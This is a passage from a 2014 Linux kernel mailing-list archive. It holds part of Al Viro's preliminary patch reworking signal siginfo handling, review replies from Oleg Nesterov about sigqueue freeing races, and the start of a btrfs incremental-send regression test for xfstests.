spin_lock(&tsk->sighand->siglock); } return signr; @@ -1836,7 +1866,8 @@ static int sigkill_pending(struct task_struct *tsk) * If we actually decide not to stop at all because the tracer * is gone, we keep current->exit_code unless clear_code. */ -static void ptrace_stop(int exit_code, int why, int clear_code, siginfo_t *info) +static void ptrace_stop(int exit_code, int why, int clear_code, + ksiginfo_t *info) __releases(¤t->sighand->siglock) __acquires(¤t->sighand->siglock) { @@ -1960,16 +1991,17 @@ static void ptrace_stop(int exit_code, int why, int clear_code, siginfo_t *info) static void ptrace_do_notify(int signr, int exit_code, int why) { - siginfo_t info; + ksiginfo_t info; - memset(&info, 0, sizeof info); info.si_signo = signr; info.si_code = exit_code; info.si_pid = task_pid_vnr(current); info.si_uid = from_kuid_munged(current_user_ns(), current_uid()); + info.q = NULL; /* Let the debugger run. */ ptrace_stop(exit_code, why, 1, &info); + dismiss_siginfo(&info); } void ptrace_notify(int exit_code) @@ -2141,7 +2173,7 @@ static void do_jobctl_trap(void) } } -static int ptrace_signal(int signr, siginfo_t *info) +static int ptrace_signal(int signr, ksiginfo_t *info) { ptrace_signal_deliver(); /* @@ -2170,8 +2202,11 @@ static int ptrace_signal(int signr, siginfo_t *info) * have updated *info via PTRACE_SETSIGINFO. */ if (signr != info->si_signo) { + dismiss_siginfo(info); info->si_signo = signr; +#ifndef CONFIG_ARCH_USES_KSIGNAL info->si_errno = 0; +#endif info->si_code = SI_USER; rcu_read_lock(); info->si_pid = task_pid_vnr(current->parent); @@ -2182,14 +2217,25 @@ static int ptrace_signal(int signr, siginfo_t *info) /* If the (new) signal is now blocked, requeue it. */ if (sigismember(¤t->blocked, signr)) { +#ifndef CONFIG_ARCH_USES_KSIGNAL specific_send_sig_info(signr, info, current); +#else + if (!info->q) { + struct siginfo s = {.si_code = info->si_code, + .si_signo = signr, + .si_pid = info->si_pid, + .si_uid = info->si_uid}; + specific_send_sig_info(signr, &s, current); + } else + specific_send_sig_info(signr, &info->q->info, current); +#endif signr = 0; } return signr; } -int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, +int get_signal_to_deliver(ksiginfo_t *info, struct k_sigaction *return_ka, struct pt_regs *regs, void *cookie) { struct sighand_struct *sighand = current->sighand; @@ -2363,6 +2409,7 @@ relock: */ do_coredump(info); } + dismiss_siginfo(info); /* * Death signals, no core dump. @@ -2377,7 +2424,7 @@ relock: /** * signal_delivered - * @sig: number of signal being delivered - * @info: siginfo_t of signal being delivered + * @info: ksiginfo_t of signal being delivered * @ka: sigaction setting that chose the handler * @regs: user register state * @stepping: nonzero if debugger single-step or block-step in use @@ -2387,7 +2434,7 @@ relock: * is always blocked, and the signal itself is blocked unless %SA_NODEFER * is set in @ka->sa.sa_flags. Tracing is notified. */ -void signal_delivered(int sig, siginfo_t *info, struct k_sigaction *ka, +void signal_delivered(int sig, ksiginfo_t *info, struct k_sigaction *ka, struct pt_regs *regs, int stepping) { sigset_t blocked; @@ -2412,6 +2459,7 @@ void signal_setup_done(int failed, struct ksignal *ksig, int stepping) else signal_delivered(ksig->sig, &ksig->info, &ksig->ka, signal_pt_regs(), stepping); + dismiss_siginfo(&ksig->info); } /* @@ -2721,7 +2769,7 @@ COMPAT_SYSCALL_DEFINE2(rt_sigpending, compat_sigset_t __user *, uset, } #endif -int copy_siginfo_to_user(siginfo_t __user *to, const siginfo_t *from) +int __copy_siginfo_to_user(siginfo_t __user *to, const siginfo_t *from) { int err; @@ -2804,13 +2852,35 @@ int copy_siginfo_to_user(siginfo_t __user *to, const siginfo_t *from) return err; } +int copy_siginfo_to_user(siginfo_t __user *to, const ksiginfo_t *from) +{ + const siginfo_t *info; +#ifdef CONFIG_ARCH_USES_KSIGNAL + if (!from->q) { + int err; + if (!access_ok (VERIFY_WRITE, to, sizeof(siginfo_t))) + return -EFAULT; + err = __put_user(from->si_signo, &to->si_signo); + err |= __put_user(0, &to->si_errno); + err |= __put_user((short) from->si_code, &to->si_code); + err |= __put_user(from->si_pid, &to->si_pid); + err |= __put_user(from->si_uid, &to->si_uid); + return err; + } + info = &from->q->info; +#else + info = from; +#endif + return __copy_siginfo_to_user(to, info); +} + /** * do_sigtimedwait - wait for queued signals specified in @which * @which: queued signals to wait for * @info: if non-null, the signal's siginfo is returned here * @ts: upper bound on process time suspension */ -int do_sigtimedwait(const sigset_t *which, siginfo_t *info, +int do_sigtimedwait(const sigset_t *which, ksiginfo_t *info, const struct timespec *ts) { struct task_struct *tsk = current; @@ -2878,7 +2948,7 @@ SYSCALL_DEFINE4(rt_sigtimedwait, const sigset_t __user *, uthese, { sigset_t these; struct timespec ts; - siginfo_t info; + ksiginfo_t info; int ret; /* XXX: Don't preclude handling different sized sigset_t's. */ @@ -2999,6 +3069,73 @@ SYSCALL_DEFINE2(tkill, pid_t, pid, int, sig) return do_tkill(0, pid, sig); } +int copy_ksiginfo_from_user(ksiginfo_t *to, const siginfo_t __user *from) +{ +#ifndef CONFIG_ARCH_USES_KSIGNAL + return copy_from_user(to, from, sizeof(siginfo_t)) ? -EFAULT : 0; +#else + struct sigqueue *q; + if (!access_ok(VERIFY_READ, from, sizeof(siginfo_t))) + return -EFAULT; + if (__get_user(to->si_code, &from->si_code)) + return -EFAULT; + if (to->si_code == SI_USER) { + if (__get_user(to->si_signo, &from->si_signo) || + __get_user(to->si_uid, &from->si_uid) || + __get_user(to->si_pid, &from->si_pid)) + return -EFAULT; + to->q = NULL; + return 0; + } + q = __sigqueue_alloc(-1, current, GFP_KERNEL, 0); + if (!q) + return -ENOMEM; + if (copy_from_user(&q->info, from, sizeof(siginfo_t))) { + __sigqueue_free(q); + return -EFAULT; + } + to->q = q; + to->si_code = q->info.si_code; + to->si_signo = q->info.si_signo; + return 0; +#endif +} + +#ifdef CONFIG_COMPAT + +int copy_ksiginfo_from_user32(ksiginfo_t *to, compat_siginfo_t __user *from) +{ +#ifndef CONFIG_ARCH_USES_KSIGNAL + return copy_siginfo_from_user32(to, from); +#else + struct sigqueue *q; + if (!access_ok(VERIFY_READ, from, sizeof(compat_siginfo_t))) + return -EFAULT; + if (__get_user(to->si_code, &from->si_code)) + return -EFAULT; + if (to->si_code == SI_USER) { + if (__get_user(to->si_signo, &from->si_signo) || + __get_user(to->si_uid, &from->si_uid) || + __get_user(to->si_pid, &from->si_pid)) + return -EFAULT; + to->q = NULL; + return 0; + } + q = __sigqueue_alloc(-1, current, GFP_KERNEL, 0); + if (!q) + return -ENOMEM; + if (copy_siginfo_from_user32(&q->info, from)) { + __sigqueue_free(q); + return -EFAULT; + } + to->q = q; + to->si_code = q->info.si_code; + to->si_signo = q->info.si_signo; + return 0; +#endif +} +#endif + static int do_rt_sigqueueinfo(pid_t pid, int sig, siginfo_t *info) { /* Not even root can pretend to send signals from the kernel. From oleg@redhat.com Sat Feb 15 08:27:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B42757F3F for ; Sat, 15 Feb 2014 08:27:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51044AC022 for ; Sat, 15 Feb 2014 06:27:03 -0800 (PST) X-ASG-Debug-ID: 1392474422-04bdf05165fc900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6abYFynyDEe0R0SF for ; Sat, 15 Feb 2014 06:27:02 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FEQxYI002934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 09:26:59 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1FEQu9f021257; Sat, 15 Feb 2014 09:26:57 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Sat, 15 Feb 2014 15:27:03 +0100 (CET) Date: Sat, 15 Feb 2014 15:27:00 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215142700.GA15540@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215052531.GX18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392474422 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/15, Al Viro wrote: > > OK, _very_ preliminary patch follows. It's uglier than it has to And I'm afraid it needs more uglifications... > +void dismiss_siginfo(ksiginfo_t *info) > +{ > + if (info->q) > + __sigqueue_free(info->q); > + info->q = NULL; > +} 1. info->q can be already freed if SIGQUEUE_PREALLOC. Once get_signal_to_deliver() or any other caller drops ->siglock another thread can do sys_timer_delete()->sigqueue_free(). 2. We need to move do_schedule_next_timer() from dequeue_signal() here. Otherwise ->q can be reused/overwritten by the next send_sigqueue() right affter ->siglock is dropped. Oleg. From oleg@redhat.com Sat Feb 15 08:47:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C83497F4E for ; Sat, 15 Feb 2014 08:47:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 99D94304067 for ; Sat, 15 Feb 2014 06:46:59 -0800 (PST) X-ASG-Debug-ID: 1392475618-04bdf0734c2beba0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VVo0FzDHRaRJ0t93 for ; Sat, 15 Feb 2014 06:46:58 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FEkXgs001977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 09:46:33 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1FEkVn8006436; Sat, 15 Feb 2014 09:46:31 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Sat, 15 Feb 2014 15:46:37 +0100 (CET) Date: Sat, 15 Feb 2014 15:46:35 +0100 From: Oleg Nesterov To: Christoph Hellwig Cc: Al Viro , Linus Torvalds , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215144635.GA16759@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140214161302.GA16416@infradead.org> <20140214161623.GU18016@ZenIV.linux.org.uk> <20140214161912.GB20909@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214161912.GB20909@infradead.org> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392475618 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/14, Christoph Hellwig wrote: > > Might aswell stick the discmiss into what was dequeue_signal_lock(). > Which at that point should get a saner name (maybe thread_dequeue_signal ?) > and lose all argument except maybe task_struct No, task_struct argument should die, I think. It is misleading. spin_lock(tsk->sighand->siglock) is simply wrong unless tsk == current. And dequeue_signal() assumes that tsk == current too, otherwise recalc_sigpending() is wrong. Oleg. From viro@ftp.linux.org.uk Sat Feb 15 09:23:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0DA177F50 for ; Sat, 15 Feb 2014 09:23:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 075123040CE for ; Sat, 15 Feb 2014 07:23:26 -0800 (PST) X-ASG-Debug-ID: 1392477778-04cbb00c2a42bae0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id DCDkrlnZat4p6JgT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Feb 2014 07:23:02 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEh4t-00005y-CW; Sat, 15 Feb 2014 15:22:51 +0000 Date: Sat, 15 Feb 2014 15:22:51 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215152251.GY18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215142700.GA15540@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392477781 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:27:00PM +0100, Oleg Nesterov wrote: > 1. info->q can be already freed if SIGQUEUE_PREALLOC. > > Once get_signal_to_deliver() or any other caller drops ->siglock > another thread can do sys_timer_delete()->sigqueue_free(). How the devil would it find the sucker? It's off the list already. > 2. We need to move do_schedule_next_timer() from dequeue_signal() > here. > > Otherwise ->q can be reused/overwritten by the next send_sigqueue() > right affter ->siglock is dropped. Ditto. We rip them out of queue on collect_signal(); the only thing we do not do is actual __sigqueue_free(). From oleg@redhat.com Sat Feb 15 09:34:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4441B7F51 for ; Sat, 15 Feb 2014 09:34:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3CF2A304129 for ; Sat, 15 Feb 2014 07:33:52 -0800 (PST) X-ASG-Debug-ID: 1392478425-04cbb00c2a42c500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id X514p22WSi1xh0R0 for ; Sat, 15 Feb 2014 07:33:45 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FFXe53015138 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 10:33:40 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1FFXbH1010386; Sat, 15 Feb 2014 10:33:37 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Sat, 15 Feb 2014 16:33:43 +0100 (CET) Date: Sat, 15 Feb 2014 16:33:41 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215153341.GA18472@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215152251.GY18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392478425 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/15, Al Viro wrote: > > On Sat, Feb 15, 2014 at 03:27:00PM +0100, Oleg Nesterov wrote: > > > 1. info->q can be already freed if SIGQUEUE_PREALLOC. > > > > Once get_signal_to_deliver() or any other caller drops ->siglock > > another thread can do sys_timer_delete()->sigqueue_free(). > > How the devil would it find the sucker? It simply frees the SIGQUEUE_PREALLOC sigqueue, k_itimer->sigq. > It's off the list already. Exactly, list_empty(q->list) == T. So release_posix_timer()->sigqueue_free() assumes we can safely free it. > > 2. We need to move do_schedule_next_timer() from dequeue_signal() > > here. > > > > Otherwise ->q can be reused/overwritten by the next send_sigqueue() > > right affter ->siglock is dropped. > > Ditto. We rip them out of queue on collect_signal(); Yes, and dequeue_signal()->do_schedule_next_timer() can trigger another send_sigqueue() which uses the same SIGQUEUE_PREALLOC sigqueue once we drop ->siglock. This is not that bad, but at least ->si_overrun can be overwritten before __setup_rt_frame()->copy_siginfo_to_user(). Oleg. From viro@ftp.linux.org.uk Sat Feb 15 09:37:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 895737F53 for ; Sat, 15 Feb 2014 09:37:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 82F0B8F8125 for ; Sat, 15 Feb 2014 07:37:02 -0800 (PST) X-ASG-Debug-ID: 1392478597-04cb6c6de0429ef0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id HDlLlsT1NuhqcSLx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Feb 2014 07:36:38 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEhI7-0000Bk-Sc; Sat, 15 Feb 2014 15:36:31 +0000 Date: Sat, 15 Feb 2014 15:36:31 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215153631.GZ18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215152251.GY18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392478597 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:22:51PM +0000, Al Viro wrote: > On Sat, Feb 15, 2014 at 03:27:00PM +0100, Oleg Nesterov wrote: > > > 1. info->q can be already freed if SIGQUEUE_PREALLOC. > > > > Once get_signal_to_deliver() or any other caller drops ->siglock > > another thread can do sys_timer_delete()->sigqueue_free(). > > How the devil would it find the sucker? It's off the list already. Ouch... I think I see what you mean. Let me see if I got it right: timer->sigq is *not* freed by collect_signal(); it's done by release_posix_timer() instead, under siglock. Frankly, this /* * If it is queued it will be freed when dequeued, * like the "regular" sigqueue. */ if (!list_empty(&q->list)) q = NULL; in sigqueue_free() smells like it's asking for races. Sigh... From fdmanana@gmail.com Sat Feb 15 09:38:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 28F3229DFE for ; Sat, 15 Feb 2014 09:38:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D3AC8F80E7 for ; Sat, 15 Feb 2014 07:37:59 -0800 (PST) X-ASG-Debug-ID: 1392478649-04cbb00c2a42c840001-NocioJ Received: from mail-wg0-f45.google.com (mail-wg0-f45.google.com [74.125.82.45]) by cuda.sgi.com with ESMTP id q9HexwbMekOMJUrj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 15 Feb 2014 07:37:30 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.45 Received: by mail-wg0-f45.google.com with SMTP id l18so1168772wgh.12 for ; Sat, 15 Feb 2014 07:36:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=LAeOUDYMMOxYme/k4Y05/xeYzW3xPvwC/91NLt0g9sc=; b=vB5ZoEQrfNFJiPww7bLu7HPACiZKmqsb+web0s7vaJNzqlV7AXzFXJmlh8h0nbdIqp IhtzBMQ2PsY+RUwCneWPFObFcDfzqf5tk3kTjLBljo461I861uGiqC/LOnicOQ5rgmzw r0ChFPJQCqPF3oKF9TKwMP/e4Ew5gHJaFn3D5J0px4lJ/7cnTWglm29aqYYd0PwZwiQI xjcGPM+5g1syBnl5zXpUKbwA4qQkwwUm6av+6JG98WHDBmRnixIyHX98Jg4zQUNv4ydO 2HDLd1a724aONSAvZ8tDpPcYTx1Gcx5GS1uEn9sNvTvG0jhAX9pUuNF0pPK6pMmH2BAP 8U5A== X-Received: by 10.180.77.129 with SMTP id s1mr6415142wiw.56.1392478614454; Sat, 15 Feb 2014 07:36:54 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id cm5sm14448857wid.5.2014.02.15.07.36.52 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 15 Feb 2014 07:36:53 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add regression test for btrfs incremental send Date: Sat, 15 Feb 2014 15:36:13 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add regression test for btrfs incremental send Message-Id: <1392478573-4513-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392408522-764-1-git-send-email-fdmanana@gmail.com> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f45.google.com[74.125.82.45] X-Barracuda-Start-Time: 1392478650 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for a btrfs incremental send issue where we end up sending a wrong section of data from a file extent if the corresponding file extent is compressed and the respective file extent item has a non zero data offset. Fixed by the following linux kernel btrfs patch: Btrfs: use right clone root offset for compressed extents Signed-off-by: Filipe David Borba Manana --- V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' hole punch implementation leaving hole file extent items when we punch beyond the file's current size. tests/btrfs/040 | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/040.out | 1 + tests/btrfs/group | 1 + 3 files changed, 117 insertions(+) create mode 100755 tests/btrfs/040 create mode 100644 tests/btrfs/040.out diff --git a/tests/btrfs/040 b/tests/btrfs/040 new file mode 100755 index 0000000..d6b37bf --- /dev/null +++ b/tests/btrfs/040 @@ -0,0 +1,115 @@ +#! /bin/bash +# FS QA Test No. btrfs/040 +# +# Test for a btrfs incremental send issue where we end up sending a +# wrong section of data from a file extent if the corresponding file +# extent is compressed and the respective file extent item has a non +# zero data 